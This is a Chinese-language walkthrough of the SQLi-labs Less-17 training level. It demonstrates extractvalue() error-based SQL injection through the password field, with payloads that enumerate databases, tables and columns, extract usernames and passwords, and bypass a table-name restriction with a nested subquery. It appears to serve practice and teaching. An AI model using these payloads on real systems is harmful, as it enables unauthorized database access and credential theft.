Less-17 extractvalue报错注入
找寻注入点:
首先用burp suite抓包,得到post信息后,用hackbar进行测试
经过测试发现,无论怎样对uname进行测试,都显示失败,猜测是对uname进行了过滤,我们考虑从password进行注入:
该关卡是对密码进行更改,如果用户名正确,则修改密码为新密码,如果用户名错误,则返回失败,
因此该关卡需先知道一个用户名admin
Sql知识:
extractvalue(xml_frag,xpath_expr)使用xpath表示法从xml字符串中提取值,利用concat()参数将要获取的数据库内容拼接到xpath_expr中,由于数据库内容肯定不符合xpath路径语法,因此会报错,一并将查询的数据库内容带出。
查询当前数据库:
uname=admin &passwd=1’ and extractvalue(1,concat(’~’,(select(database())))) #&submit=Submit
查询所有数据库:
uname=admin &passwd=1’ and extractvalue(1,concat(’~’,(select group_concat(schema_name) from information_schema.schemata))) #&submit=Submit
使用group_concat时,输出对长度有限制,我们可以使用limit逐个输出:
uname=admin &passwd=1’ and extractvalue(1,concat(’~’,(select schema_name from information_schema.schemata limit 1,1))) #&submit=Submit
查询security库中的表:
uname=admin &passwd=1’ and extractvalue(1,concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 1,1))) #&submit=Submit
查询users表中的字段:
uname=admin &passwd=1’ and extractvalue(1,concat(’~’,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))) #&submit=Submit
查询username字段中的信息:
uname=admin &passwd=1’ and extractvalue(1,concat(’~’,(select username from users limit 1,1))) #&submit=Submit
这里显示不允许查询,因为后台做了限制,我们通过嵌套查询和改名,绕过users表名的限制:
uname=admin &passwd=1’ and extractvalue(1,concat(’~’,(select username from (select username from users)a limit 1,1))) #&submit=Submit
查询password也是这样:
uname=admin &passwd=1’ and extractvalue(1,concat(’~’,(select password from (select password from users)a limit 5,1))) #&submit=Submit
未完待续。。。。